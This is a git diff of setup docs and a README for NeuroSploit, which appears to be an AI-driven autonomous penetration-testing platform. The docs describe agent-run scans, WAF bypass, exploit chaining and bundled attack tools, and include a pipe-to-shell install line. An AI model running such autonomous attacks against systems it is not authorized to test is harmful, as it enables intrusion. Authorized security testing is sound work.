mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-06-20 02:40:06 +02:00
@@ -4,7 +4,6 @@
|
||||
#
|
||||
# IMPORTANT: You MUST set at least one LLM API key for the AI agent to work!
|
||||
#
|
||||
|
||||
# =============================================================================
|
||||
# LLM API Keys (REQUIRED - at least one must be set)
|
||||
# =============================================================================
|
||||
@@ -14,6 +13,27 @@ ANTHROPIC_API_KEY=
|
||||
# Or use OpenAI as fallback: https://platform.openai.com/api-keys
|
||||
OPENAI_API_KEY=
|
||||
|
||||
# OpenRouter for model benchmarking: https://openrouter.ai/keys
|
||||
OPENROUTER_API_KEY=
|
||||
|
||||
# =============================================================================
|
||||
# LLM Configuration
|
||||
# =============================================================================
|
||||
# Max output tokens (up to 64000 for Claude). Comment out or remove for profile defaults.
|
||||
#MAX_OUTPUT_TOKENS=64000
|
||||
|
||||
# Enable task-type model routing (routes to different LLM profiles per task)
|
||||
ENABLE_MODEL_ROUTING=false
|
||||
|
||||
# =============================================================================
|
||||
# Feature Flags
|
||||
# =============================================================================
|
||||
# Bug bounty dataset cognitive augmentation
|
||||
ENABLE_KNOWLEDGE_AUGMENTATION=false
|
||||
|
||||
# Playwright browser-based validation
|
||||
ENABLE_BROWSER_VALIDATION=false
|
||||
|
||||
# =============================================================================
|
||||
# Database (default is SQLite - no config needed)
|
||||
# =============================================================================
|
||||
|
||||
+215
-260
@@ -1,334 +1,289 @@
|
||||
# NeuroSploitv2 - Quick Start Guide
|
||||
# NeuroSploit v3 - Quick Start Guide
|
||||
|
||||
## 🚀 Fast Track Setup (5 minutes)
|
||||
Get NeuroSploit running in under 5 minutes.
|
||||
|
||||
---
|
||||
|
||||
## Prerequisites
|
||||
|
||||
| Requirement | Minimum | Recommended |
|
||||
|-------------|---------|-------------|
|
||||
| **Python** | 3.10+ | 3.12 |
|
||||
| **Node.js** | 18+ | 20 LTS |
|
||||
| **Docker** | 24+ | Latest (for Kali sandbox) |
|
||||
| **RAM** | 4 GB | 8 GB+ |
|
||||
| **Disk** | 2 GB | 5 GB (with Kali image) |
|
||||
| **LLM API Key** | 1 provider | Claude recommended |
|
||||
|
||||
---
|
||||
|
||||
## Step 1: Clone & Configure
|
||||
|
||||
### 1. Install Dependencies
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
git clone https://github.com/your-org/NeuroSploitv2.git
|
||||
cd NeuroSploitv2
|
||||
|
||||
# Create your environment file
|
||||
cp .env.example .env
|
||||
```
|
||||
|
||||
### 2. Set Up API Keys (Choose One)
|
||||
Edit `.env` and add at least one API key:
|
||||
|
||||
#### Option A: Using Gemini (Free Tier Available)
|
||||
```bash
|
||||
export GEMINI_API_KEY="your_gemini_api_key_here"
|
||||
```
|
||||
Get your key at: https://makersuite.google.com/app/apikey
|
||||
|
||||
#### Option B: Using LM Studio (Fully Local, No API Key)
|
||||
```bash
|
||||
# Download and install LM Studio from: https://lmstudio.ai/
|
||||
# Start LM Studio and load a model
|
||||
# Start the local server on port 1234
|
||||
|
||||
# Update config/config.json:
|
||||
{
|
||||
"llm": {
|
||||
"default_profile": "lmstudio_default"
|
||||
}
|
||||
}
|
||||
# Pick one (or more):
|
||||
ANTHROPIC_API_KEY=sk-ant-... # Claude (recommended)
|
||||
OPENAI_API_KEY=sk-... # GPT-4
|
||||
GEMINI_API_KEY=AI... # Gemini Pro
|
||||
OPENROUTER_API_KEY=sk-or-... # OpenRouter (any model)
|
||||
```
|
||||
|
||||
#### Option C: Using Ollama (Fully Local, No API Key)
|
||||
```bash
|
||||
# Install Ollama: https://ollama.ai/
|
||||
ollama pull llama3:8b
|
||||
ollama serve
|
||||
> **No API key?** Use a local LLM (Ollama or LM Studio) -- see [Local LLM Setup](#local-llm-setup) below.
|
||||
|
||||
# Update config/config.json:
|
||||
{
|
||||
"llm": {
|
||||
"default_profile": "ollama_llama3_default"
|
||||
}
|
||||
}
|
||||
---
|
||||
|
||||
## Step 2: Install Dependencies
|
||||
|
||||
### Backend
|
||||
|
||||
```bash
|
||||
pip install -r backend/requirements.txt
|
||||
```
|
||||
|
||||
### 3. Test Installation
|
||||
```bash
|
||||
# List available agents
|
||||
python neurosploit.py --list-agents
|
||||
### Frontend
|
||||
|
||||
# List available LLM profiles
|
||||
python neurosploit.py --list-profiles
|
||||
```bash
|
||||
cd frontend
|
||||
npm install
|
||||
cd ..
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📝 Basic Usage Examples
|
||||
## Step 3: Build Kali Sandbox Image (Optional but Recommended)
|
||||
|
||||
The Kali sandbox enables isolated tool execution (Nuclei, Nmap, SQLMap, etc.) in Docker containers.
|
||||
|
||||
### Example 1: OSINT Reconnaissance
|
||||
```bash
|
||||
python neurosploit.py \
|
||||
--agent-role bug_bounty_hunter \
|
||||
--input "Perform OSINT reconnaissance on example.com"
|
||||
# Requires Docker Desktop running
|
||||
./scripts/build-kali.sh --test
|
||||
```
|
||||
|
||||
**What it does:**
|
||||
- Uses OSINT Collector to gather public information
|
||||
- Resolves IP addresses
|
||||
- Detects web technologies
|
||||
- Generates email patterns
|
||||
- Identifies potential social media accounts
|
||||
This builds a Kali Linux image with 28 pre-installed security tools. Takes ~5 min on first build.
|
||||
|
||||
### Example 2: Subdomain Enumeration
|
||||
> **No Docker?** NeuroSploit works without it -- the agent uses HTTP-only testing. Docker adds tool-based scanning (Nuclei, Nmap, etc.).
|
||||
|
||||
---
|
||||
|
||||
## Step 4: Start NeuroSploit
|
||||
|
||||
### Option A: Development Mode (hot reload)
|
||||
|
||||
Terminal 1 -- Backend:
|
||||
```bash
|
||||
python neurosploit.py \
|
||||
--agent-role pentest_generalist \
|
||||
--input "Find all subdomains for example.com"
|
||||
uvicorn backend.main:app --host 0.0.0.0 --port 8000 --reload
|
||||
```
|
||||
|
||||
**What it does:**
|
||||
- Queries Certificate Transparency logs
|
||||
- Brute-forces common subdomain names
|
||||
- Validates discovered subdomains via DNS
|
||||
|
||||
### Example 3: DNS Enumeration
|
||||
Terminal 2 -- Frontend:
|
||||
```bash
|
||||
python neurosploit.py \
|
||||
--agent-role pentest_generalist \
|
||||
--input "Enumerate all DNS records for example.com"
|
||||
cd frontend
|
||||
npm run dev
|
||||
```
|
||||
|
||||
**What it does:**
|
||||
- Discovers A records (IPv4)
|
||||
- Discovers AAAA records (IPv6)
|
||||
- Finds MX records (mail servers)
|
||||
- Identifies NS records (name servers)
|
||||
- Extracts TXT records
|
||||
Open: **http://localhost:5173**
|
||||
|
||||
### Option B: Production Mode
|
||||
|
||||
### Example 4: Interactive Mode
|
||||
```bash
|
||||
python neurosploit.py -i
|
||||
# Build frontend
|
||||
cd frontend && npm run build && cd ..
|
||||
|
||||
# Start backend (serves frontend too)
|
||||
uvicorn backend.main:app --host 0.0.0.0 --port 8000
|
||||
```
|
||||
|
||||
**Commands available:**
|
||||
```
|
||||
> list_roles
|
||||
> run_agent pentest_generalist "scan example.com"
|
||||
> config
|
||||
> exit
|
||||
Open: **http://localhost:8000**
|
||||
|
||||
### Option C: Quick Start Script
|
||||
|
||||
```bash
|
||||
./start.sh
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Testing the New Features
|
||||
## Step 5: Verify Setup
|
||||
|
||||
### Test 1: OSINT Collector
|
||||
```python
|
||||
python3 << 'EOF'
|
||||
from tools.recon.osint_collector import OSINTCollector
|
||||
|
||||
collector = OSINTCollector({})
|
||||
results = collector.collect("google.com")
|
||||
|
||||
print("IP Addresses:", results['ip_addresses'])
|
||||
print("Technologies:", results['technologies'])
|
||||
print("Email Patterns:", results['email_patterns'][:3])
|
||||
print("Social Media:", results['social_media'])
|
||||
EOF
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
```
|
||||
IP Addresses: ['142.250.xxx.xxx', ...]
|
||||
Technologies: {'server': 'gws', 'status_code': 200, ...}
|
||||
Email Patterns: ['info@google.com', 'contact@google.com', ...]
|
||||
Social Media: {'twitter': 'https://twitter.com/google', ...}
|
||||
```
|
||||
|
||||
### Test 2: Subdomain Finder
|
||||
```python
|
||||
python3 << 'EOF'
|
||||
from tools.recon.subdomain_finder import SubdomainFinder
|
||||
|
||||
finder = SubdomainFinder({})
|
||||
subdomains = finder.find("github.com")
|
||||
|
||||
print(f"Found {len(subdomains)} subdomains")
|
||||
print("First 5:", subdomains[:5])
|
||||
EOF
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
```
|
||||
Found 15+ subdomains
|
||||
First 5: ['api.github.com', 'www.github.com', 'gist.github.com', ...]
|
||||
```
|
||||
|
||||
### Test 3: DNS Enumerator
|
||||
```python
|
||||
python3 << 'EOF'
|
||||
from tools.recon.dns_enumerator import DNSEnumerator
|
||||
|
||||
enumerator = DNSEnumerator({})
|
||||
records = enumerator.enumerate("github.com")
|
||||
|
||||
print("A Records:", records['records']['A'])
|
||||
print("MX Records:", records['records']['MX'])
|
||||
print("NS Records:", records['records']['NS'])
|
||||
EOF
|
||||
```
|
||||
|
||||
### Test 4: LM Studio Integration
|
||||
```bash
|
||||
# 1. Start LM Studio server
|
||||
# 2. Load a model (e.g., Llama 3, Mistral, Phi-3)
|
||||
# 3. Start the server
|
||||
|
||||
# 4. Test connection
|
||||
curl http://localhost:1234/v1/models
|
||||
|
||||
# 5. Run NeuroSploit with LM Studio
|
||||
python neurosploit.py \
|
||||
--llm-profile lmstudio_default \
|
||||
--agent-role pentest_generalist \
|
||||
--input "Explain the OWASP Top 10"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔧 Testing Tool Chaining
|
||||
|
||||
Create a test script to see tool chaining in action:
|
||||
### Check API Health
|
||||
|
||||
```bash
|
||||
python neurosploit.py -i
|
||||
curl http://localhost:8000/api/health
|
||||
```
|
||||
|
||||
Then enter:
|
||||
```
|
||||
run_agent pentest_generalist "Perform complete reconnaissance: DNS enumeration, subdomain discovery, and OSINT collection for example.com"
|
||||
```
|
||||
|
||||
The AI will automatically chain multiple tools:
|
||||
1. DNS Enumerator → finds DNS records
|
||||
2. Subdomain Finder → discovers subdomains
|
||||
3. OSINT Collector → gathers intelligence
|
||||
|
||||
All results are combined and analyzed by the AI.
|
||||
|
||||
---
|
||||
|
||||
## 📊 View Results
|
||||
|
||||
### JSON Results
|
||||
```bash
|
||||
ls -lt results/
|
||||
cat results/campaign_*.json | jq '.'
|
||||
```
|
||||
|
||||
### HTML Reports
|
||||
```bash
|
||||
ls -lt reports/
|
||||
open reports/report_*.html # macOS
|
||||
xdg-open reports/report_*.html # Linux
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🛠️ Troubleshooting
|
||||
|
||||
### Issue: "No module named 'anthropic'"
|
||||
```bash
|
||||
pip install anthropic openai google-generativeai requests
|
||||
```
|
||||
|
||||
### Issue: LM Studio Connection Error
|
||||
```bash
|
||||
# Verify LM Studio server is running
|
||||
curl http://localhost:1234/v1/models
|
||||
|
||||
# Check logs in LM Studio console
|
||||
# Ensure model is loaded and server is started
|
||||
```
|
||||
|
||||
### Issue: "Tool not found"
|
||||
Edit `config/config.json` and update tool paths:
|
||||
Expected response:
|
||||
```json
|
||||
{
|
||||
"tools": {
|
||||
"nmap": "/usr/bin/nmap",
|
||||
"metasploit": "/usr/bin/msfconsole"
|
||||
"status": "healthy",
|
||||
"app": "NeuroSploit",
|
||||
"version": "3.0.0",
|
||||
"llm": {
|
||||
"status": "configured",
|
||||
"provider": "claude",
|
||||
"message": "AI agent ready"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Issue: DNS Enumeration Shows Limited Results
|
||||
### Check Swagger Docs
|
||||
|
||||
Open **http://localhost:8000/api/docs** for interactive API documentation.
|
||||
|
||||
---
|
||||
|
||||
## Your First Scan
|
||||
|
||||
### Option 1: Auto Pentest (Recommended)
|
||||
|
||||
1. Open the web interface
|
||||
2. Click **Auto Pentest** in the sidebar
|
||||
3. Enter a target URL (e.g., `http://testphp.vulnweb.com`)
|
||||
4. Click **Start Auto Pentest**
|
||||
5. Watch the 3-stream parallel scan in real-time
|
||||
|
||||
### Option 2: Via API
|
||||
|
||||
```bash
|
||||
# Install nslookup
|
||||
# macOS: Already included
|
||||
# Linux: sudo apt-get install dnsutils
|
||||
curl -X POST http://localhost:8000/api/v1/agent/run \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"target": "http://testphp.vulnweb.com",
|
||||
"mode": "auto_pentest"
|
||||
}'
|
||||
```
|
||||
|
||||
### Option 3: Vuln Lab (Single Type)
|
||||
|
||||
1. Click **Vuln Lab** in the sidebar
|
||||
2. Pick a vulnerability type (e.g., `xss_reflected`)
|
||||
3. Enter target URL
|
||||
4. Click **Run Test**
|
||||
|
||||
---
|
||||
|
||||
## 🎯 Advanced Examples
|
||||
## Pages Overview
|
||||
|
||||
| Page | What it does |
|
||||
|------|-------------|
|
||||
| **Dashboard** (`/`) | Stats, severity charts, recent activity |
|
||||
| **Auto Pentest** (`/auto`) | One-click full autonomous pentest |
|
||||
| **Vuln Lab** (`/vuln-lab`) | Test specific vuln types (100 available) |
|
||||
| **Terminal Agent** (`/terminal`) | AI chat + command execution |
|
||||
| **Sandboxes** (`/sandboxes`) | Monitor Kali containers in real-time |
|
||||
| **Scheduler** (`/scheduler`) | Schedule recurring scans |
|
||||
| **Reports** (`/reports`) | View/download generated reports |
|
||||
| **Settings** (`/settings`) | Configure LLM providers, features |
|
||||
|
||||
---
|
||||
|
||||
## Local LLM Setup
|
||||
|
||||
### Ollama (Easiest)
|
||||
|
||||
### Custom Agent Workflow
|
||||
```bash
|
||||
# 1. Web Application Pentest
|
||||
python neurosploit.py \
|
||||
--agent-role owasp_expert \
|
||||
--input "Analyze https://testphp.vulnweb.com for OWASP Top 10 vulnerabilities"
|
||||
# Install Ollama
|
||||
curl -fsSL https://ollama.ai/install.sh | sh
|
||||
|
||||
# 2. Network Reconnaissance
|
||||
python neurosploit.py \
|
||||
--agent-role red_team_agent \
|
||||
--input "Plan a network penetration test for 192.168.1.0/24"
|
||||
# Pull a model
|
||||
ollama pull llama3.1
|
||||
|
||||
# 3. Malware Analysis
|
||||
python neurosploit.py \
|
||||
--agent-role malware_analyst \
|
||||
--input "Analyze this malware sample: /path/to/sample.exe"
|
||||
# Add to .env
|
||||
echo "OLLAMA_BASE_URL=http://localhost:11434" >> .env
|
||||
```
|
||||
|
||||
### Using Different LLM Profiles
|
||||
```bash
|
||||
# High-quality reasoning with Claude
|
||||
python neurosploit.py \
|
||||
--llm-profile claude_opus_default \
|
||||
--agent-role exploit_expert \
|
||||
--input "Generate an exploitation strategy for CVE-2024-XXXX"
|
||||
### LM Studio
|
||||
|
||||
# Fast local processing with Ollama
|
||||
python neurosploit.py \
|
||||
--llm-profile ollama_llama3_default \
|
||||
--agent-role bug_bounty_hunter \
|
||||
--input "Quick scan of example.com"
|
||||
1. Download from [lmstudio.ai](https://lmstudio.ai)
|
||||
2. Load any model (e.g., Mistral, Llama)
|
||||
3. Start the server on port 1234
|
||||
4. Add to `.env`:
|
||||
```
|
||||
LMSTUDIO_BASE_URL=http://localhost:1234
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Kali Sandbox Commands
|
||||
|
||||
```bash
|
||||
# Build image
|
||||
./scripts/build-kali.sh
|
||||
|
||||
# Rebuild from scratch
|
||||
./scripts/build-kali.sh --fresh
|
||||
|
||||
# Build + verify tools work
|
||||
./scripts/build-kali.sh --test
|
||||
|
||||
# Check running containers (via API)
|
||||
curl http://localhost:8000/api/v1/sandbox/
|
||||
|
||||
# Monitor via web UI
|
||||
# Open http://localhost:8000/sandboxes
|
||||
```
|
||||
|
||||
---
|
||||
### Pre-installed tools (28)
|
||||
|
||||
## 📚 Next Steps
|
||||
nuclei, naabu, httpx, subfinder, katana, dnsx, uncover, ffuf, gobuster, dalfox, waybackurls, nmap, nikto, sqlmap, masscan, whatweb, curl, wget, git, python3, pip3, go, jq, dig, whois, openssl, netcat, bash
|
||||
|
||||
1. **Read the Full Documentation:** Check `README.md`
|
||||
2. **Explore Agent Prompts:** Look at `prompts/md_library/`
|
||||
3. **Review Improvements:** Read `IMPROVEMENTS.md`
|
||||
4. **Customize Config:** Edit `config/config.json`
|
||||
5. **Create Custom Agents:** Use `custom_agents/example_agent.py` as template
|
||||
### On-demand tools (28 more)
|
||||
|
||||
Installed inside the container automatically when first needed:
|
||||
|
||||
wpscan, dirb, hydra, john, hashcat, testssl, sslscan, enum4linux, dnsrecon, amass, medusa, crackmapexec, gau, gitleaks, anew, httprobe, dirsearch, wfuzz, arjun, wafw00f, sslyze, commix, trufflehog, retire, fierce, nbtscan, responder
|
||||
|
||||
---
|
||||
|
||||
## 🔐 Important Security Notes
|
||||
## Troubleshooting
|
||||
|
||||
1. **Always get authorization** before testing systems
|
||||
2. **Use in isolated environments** for learning
|
||||
3. **Never test production systems** without permission
|
||||
4. **Review all AI-generated commands** before execution
|
||||
5. **Keep API keys secure** (use environment variables)
|
||||
### "AI agent not configured"
|
||||
|
||||
Check your `.env` has at least one valid API key:
|
||||
```bash
|
||||
curl http://localhost:8000/api/health | python3 -m json.tool
|
||||
```
|
||||
|
||||
### "Kali sandbox image not found"
|
||||
|
||||
Build the Docker image:
|
||||
```bash
|
||||
./scripts/build-kali.sh
|
||||
```
|
||||
|
||||
### "Docker daemon not running"
|
||||
|
||||
Start Docker Desktop, then retry.
|
||||
|
||||
### "Port 8000 already in use"
|
||||
|
||||
```bash
|
||||
lsof -i :8000
|
||||
kill <PID>
|
||||
```
|
||||
|
||||
### Frontend not loading
|
||||
|
||||
Dev mode: ensure frontend is running (`npm run dev` in `/frontend`).
|
||||
Production: ensure `frontend/dist/` exists (`cd frontend && npm run build`).
|
||||
|
||||
---
|
||||
|
||||
## 💡 Pro Tips
|
||||
## What's Next
|
||||
|
||||
1. **Interactive Mode is Fastest:** Use `-i` for quick iterations
|
||||
2. **Tool Chaining Saves Time:** Let AI orchestrate multiple tools
|
||||
3. **Local LLMs are Free:** Use LM Studio or Ollama for unlimited usage
|
||||
4. **Results are Logged:** Check `results/` and `reports/` directories
|
||||
5. **Custom Prompts:** Modify `prompts/md_library/` for specialized behavior
|
||||
- Read the full [README.md](README.md) for architecture details
|
||||
- Explore the **100 vulnerability types** in Vuln Lab
|
||||
- Set up **scheduled scans** for continuous monitoring
|
||||
- Try the **Terminal Agent** for interactive AI-guided testing
|
||||
- Check the **Sandbox Dashboard** to monitor container health
|
||||
|
||||
---
|
||||
|
||||
**Happy Pentesting! 🎯**
|
||||
|
||||
For more help: `python neurosploit.py --help`
|
||||
**NeuroSploit v3** - *AI-Powered Autonomous Penetration Testing Platform*
|
||||
|
||||
@@ -5,34 +5,40 @@
|
||||

|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
**AI-Powered Penetration Testing Platform with Web GUI**
|
||||
**AI-Powered Autonomous Penetration Testing Platform**
|
||||
|
||||
NeuroSploit v3 is an advanced security assessment platform that combines AI-driven vulnerability testing with a modern web interface. It uses prompt-driven testing to dynamically determine what vulnerabilities to test based on natural language instructions.
|
||||
NeuroSploit v3 is an advanced security assessment platform that combines AI-driven autonomous agents with 100 vulnerability types, per-scan isolated Kali Linux containers, false-positive hardening, exploit chaining, and a modern React web interface with real-time monitoring.
|
||||
|
||||
---
|
||||
|
||||
## What's New in v3
|
||||
## Highlights
|
||||
|
||||
- **Web GUI** - Modern React interface for scan management, real-time monitoring, and reports
|
||||
- **Dynamic Vulnerability Engine** - Tests 50+ vulnerability types based on prompt analysis
|
||||
- **Prompt-Driven Testing** - AI extracts vulnerability types from natural language prompts
|
||||
- **Real-time Dashboard** - WebSocket-powered live updates during scans
|
||||
- **Multiple Input Modes** - Single URL, comma-separated URLs, or file upload
|
||||
- **Preset Prompts** - Ready-to-use security testing profiles
|
||||
- **Export Reports** - HTML, PDF, and JSON export formats
|
||||
- **Docker Deployment** - One-command deployment with Docker Compose
|
||||
- **100 Vulnerability Types** across 10 categories with AI-driven testing prompts
|
||||
- **Autonomous Agent** - 3-stream parallel pentest (recon + junior tester + tool runner)
|
||||
- **Per-Scan Kali Containers** - Each scan runs in its own isolated Docker container
|
||||
- **Anti-Hallucination Pipeline** - Negative controls, proof-of-execution, confidence scoring
|
||||
- **Exploit Chain Engine** - Automatically chains findings (SSRF->internal, SQLi->DB-specific, etc.)
|
||||
- **WAF Detection & Bypass** - 16 WAF signatures, 12 bypass techniques
|
||||
- **Smart Strategy Adaptation** - Dead endpoint detection, diminishing returns, priority recomputation
|
||||
- **Multi-Provider LLM** - Claude, GPT, Gemini, Ollama, LMStudio, OpenRouter
|
||||
- **Real-Time Dashboard** - WebSocket-powered live scan progress, findings, and reports
|
||||
- **Sandbox Dashboard** - Monitor running Kali containers, tools, health checks in real-time
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Quick Start](#quick-start)
|
||||
- [Features](#features)
|
||||
- [Architecture](#architecture)
|
||||
- [Autonomous Agent](#autonomous-agent)
|
||||
- [100 Vulnerability Types](#100-vulnerability-types)
|
||||
- [Kali Sandbox System](#kali-sandbox-system)
|
||||
- [Anti-Hallucination & Validation](#anti-hallucination--validation)
|
||||
- [Web GUI](#web-gui)
|
||||
- [API Reference](#api-reference)
|
||||
- [Vulnerability Engine](#vulnerability-engine)
|
||||
- [Configuration](#configuration)
|
||||
- [Development](#development)
|
||||
- [Security Notice](#security-notice)
|
||||
@@ -45,30 +51,26 @@ NeuroSploit v3 is an advanced security assessment platform that combines AI-driv
|
||||
|
||||
```bash
|
||||
# Clone repository
|
||||
git clone https://github.com/CyberSecurityUP/NeuroSploit.git
|
||||
cd NeuroSploit
|
||||
git clone https://github.com/your-org/NeuroSploitv2.git
|
||||
cd NeuroSploitv2
|
||||
|
||||
# Copy environment file and add your API keys
|
||||
cp .env.example .env
|
||||
nano .env # Add ANTHROPIC_API_KEY or OPENAI_API_KEY
|
||||
nano .env # Add ANTHROPIC_API_KEY, OPENAI_API_KEY, or GEMINI_API_KEY
|
||||
|
||||
# Start with Docker Compose
|
||||
./start.sh
|
||||
# or
|
||||
docker-compose up -d
|
||||
# Build the Kali sandbox image (first time only, ~5 min)
|
||||
./scripts/build-kali.sh
|
||||
|
||||
# Start backend
|
||||
uvicorn backend.main:app --host 0.0.0.0 --port 8000
|
||||
```
|
||||
|
||||
Access the web interface at **http://localhost:3000**
|
||||
|
||||
### Option 2: Manual Setup
|
||||
|
||||
```bash
|
||||
# Backend
|
||||
cd backend
|
||||
python3 -m venv venv
|
||||
source venv/bin/activate
|
||||
pip install -r requirements.txt
|
||||
uvicorn backend.main:app --host 0.0.0.0 --port 8000
|
||||
uvicorn backend.main:app --host 0.0.0.0 --port 8000 --reload
|
||||
|
||||
# Frontend (new terminal)
|
||||
cd frontend
|
||||
@@ -76,37 +78,23 @@ npm install
|
||||
npm run dev
|
||||
```
|
||||
|
||||
---
|
||||
### Build Kali Sandbox Image
|
||||
|
||||
## Features
|
||||
```bash
|
||||
# Normal build (uses Docker cache)
|
||||
./scripts/build-kali.sh
|
||||
|
||||
### Core Capabilities
|
||||
# Full rebuild (no cache)
|
||||
./scripts/build-kali.sh --fresh
|
||||
|
||||
| Feature | Description |
|
||||
|---------|-------------|
|
||||
| **Dynamic Testing** | 50+ vulnerability types across 10 categories |
|
||||
| **Prompt-Driven** | AI extracts test types from natural language |
|
||||
| **Web Interface** | Modern React dashboard with real-time updates |
|
||||
| **Multiple Inputs** | Single URL, bulk URLs, or file upload |
|
||||
| **Preset Prompts** | Bug Bounty, OWASP Top 10, API Security, and more |
|
||||
| **Export Reports** | HTML, PDF, JSON with professional styling |
|
||||
| **WebSocket Updates** | Real-time scan progress and findings |
|
||||
| **Docker Ready** | One-command deployment |
|
||||
# Build + run health check
|
||||
./scripts/build-kali.sh --test
|
||||
|
||||
### Vulnerability Categories
|
||||
# Or via docker-compose
|
||||
docker compose -f docker/docker-compose.kali.yml build
|
||||
```
|
||||
|
||||
| Category | Vulnerability Types |
|
||||
|----------|---------------------|
|
||||
| **Injection** | XSS (Reflected/Stored/DOM), SQLi, NoSQLi, Command Injection, SSTI, LDAP, XPath |
|
||||
| **File Access** | LFI, RFI, Path Traversal, File Upload, XXE |
|
||||
| **Request Forgery** | SSRF, CSRF, Cloud Metadata Access |
|
||||
| **Authentication** | Auth Bypass, JWT Manipulation, Session Fixation, OAuth Flaws |
|
||||
| **Authorization** | IDOR, BOLA, BFLA, Privilege Escalation |
|
||||
| **API Security** | Rate Limiting, Mass Assignment, GraphQL Injection |
|
||||
| **Logic Flaws** | Race Conditions, Business Logic, Workflow Bypass |
|
||||
| **Client-Side** | CORS Misconfiguration, Clickjacking, Open Redirect, WebSocket |
|
||||
| **Info Disclosure** | Error Disclosure, Source Code Exposure, Debug Endpoints |
|
||||
| **Infrastructure** | Security Headers, SSL/TLS Issues, HTTP Methods |
|
||||
Access the web interface at **http://localhost:8000** (production build) or **http://localhost:5173** (dev mode).
|
||||
|
||||
---
|
||||
|
||||
@@ -114,94 +102,311 @@ npm run dev
|
||||
|
||||
```
|
||||
NeuroSploitv3/
|
||||
├── backend/ # FastAPI Backend
|
||||
│ ├── api/v1/ # REST API endpoints
|
||||
│ │ ├── scans.py # Scan CRUD operations
|
||||
│ │ ├── targets.py # Target validation
|
||||
│ │ ├── prompts.py # Preset prompts
|
||||
│ │ ├── reports.py # Report generation
|
||||
│ │ ├── dashboard.py # Dashboard stats
|
||||
│ │ └── vulnerabilities.py # Vulnerability management
|
||||
├── backend/ # FastAPI Backend
|
||||
│ ├── api/v1/ # REST API (13 routers)
|
||||
│ │ ├── scans.py # Scan CRUD + pause/resume/stop
|
||||
│ │ ├── agent.py # AI Agent control
|
||||
│ │ ├── agent_tasks.py # Scan task tracking
|
||||
│ │ ├── dashboard.py # Stats + activity feed
|
||||
│ │ ├── reports.py # Report generation (HTML/PDF/JSON)
|
||||
│ │ ├── scheduler.py # Cron/interval scheduling
|
||||
│ │ ├── vuln_lab.py # Per-type vulnerability lab
|
||||
│ │ ├── terminal.py # Terminal agent (10 endpoints)
|
||||
│ │ ├── sandbox.py # Sandbox container monitoring
|
||||
│ │ ├── targets.py # Target validation
|
||||
│ │ ├── prompts.py # Preset prompts
|
||||
│ │ ├── vulnerabilities.py # Vulnerability management
|
||||
│ │ └── settings.py # Runtime settings
|
||||
│ ├── core/
|
||||
│ │ ├── vuln_engine/ # Dynamic vulnerability testing
|
||||
│ │ │ ├── engine.py # Main testing engine
|
||||
│ │ │ ├── registry.py # Vulnerability registry
|
||||
│ │ │ ├── payload_generator.py
|
||||
│ │ │ └── testers/ # Category-specific testers
|
||||
│ │ ├── prompt_engine/ # Prompt parsing
|
||||
│ │ │ └── parser.py # Extract vuln types from prompts
|
||||
│ │ └── report_engine/ # Report generation
|
||||
│ │ └── generator.py # HTML/PDF/JSON export
|
||||
│ ├── models/ # SQLAlchemy ORM models
|
||||
│ ├── schemas/ # Pydantic validation schemas
|
||||
│ ├── services/ # Business logic
|
||||
│ └── main.py # FastAPI app entry
|
||||
│ │ ├── autonomous_agent.py # Main AI agent (~7000 lines)
|
||||
│ │ ├── vuln_engine/ # 100-type vulnerability engine
|
||||
│ │ │ ├── registry.py # 100 VULNERABILITY_INFO entries
|
||||
│ │ │ ├── payload_generator.py # 526 payloads across 95 libraries
|
||||
│ │ │ ├── ai_prompts.py # Per-vuln AI decision prompts
|
||||
│ │ │ ├── system_prompts.py # 12 anti-hallucination prompts
|
||||
│ │ │ └── testers/ # 10 category tester modules
|
||||
│ │ ├── validation/ # False-positive hardening
|
||||
│ │ │ ├── negative_control.py # Benign request control engine
|
||||
│ │ │ ├── proof_of_execution.py # Per-type proof checks (25+ methods)
|
||||
│ │ │ ├── confidence_scorer.py # Numeric 0-100 scoring
|
||||
│ │ │ └── validation_judge.py # Sole authority for finding approval
|
||||
│ │ ├── request_engine.py # Retry, rate limit, circuit breaker
|
||||
│ │ ├── waf_detector.py # 16 WAF signatures + bypass
|
||||
│ │ ├── strategy_adapter.py # Mid-scan strategy adaptation
|
||||
│ │ ├── chain_engine.py # 10 exploit chain rules
|
||||
│ │ ├── auth_manager.py # Multi-user auth management
|
||||
│ │ ├── xss_context_analyzer.py # 8-context XSS analysis
|
||||
│ │ ├── poc_generator.py # 20+ per-type PoC generators
|
||||
│ │ ├── execution_history.py # Cross-scan learning
|
||||
│ │ ├── access_control_learner.py # Adaptive BOLA/BFLA/IDOR learning
|
||||
│ │ ├── response_verifier.py # 4-signal response verification
|
||||
│ │ ├── agent_memory.py # Bounded dedup agent memory
|
||||
│ │ └── report_engine/ # OHVR report generator
|
||||
│ ├── models/ # SQLAlchemy ORM models
|
||||
│ ├── db/ # Database layer
|
||||
│ ├── config.py # Pydantic settings
|
||||
│ └── main.py # FastAPI app entry
|
||||
│
|
||||
├── frontend/ # React Frontend
|
||||
├── core/ # Shared core modules
|
||||
│ ├── llm_manager.py # Multi-provider LLM routing
|
||||
│ ├── sandbox_manager.py # BaseSandbox ABC + legacy shared sandbox
|
||||
│ ├── kali_sandbox.py # Per-scan Kali container manager
|
||||
│ ├── container_pool.py # Global container pool coordinator
|
||||
│ ├── tool_registry.py # 56 tool install recipes for Kali
|
||||
│ ├── mcp_server.py # MCP server (12 tools, stdio)
|
||||
│ ├── scheduler.py # APScheduler scan scheduling
|
||||
│ └── browser_validator.py # Playwright browser validation
|
||||
│
|
||||
├── frontend/ # React + TypeScript Frontend
|
||||
│ ├── src/
|
||||
│ │ ├── pages/ # Page components
|
||||
│ │ │ ├── HomePage.tsx # Dashboard
|
||||
│ │ │ ├── NewScanPage.tsx # Create scan
|
||||
│ │ │ ├── ScanDetailsPage.tsx
|
||||
│ │ │ ├── ReportsPage.tsx
|
||||
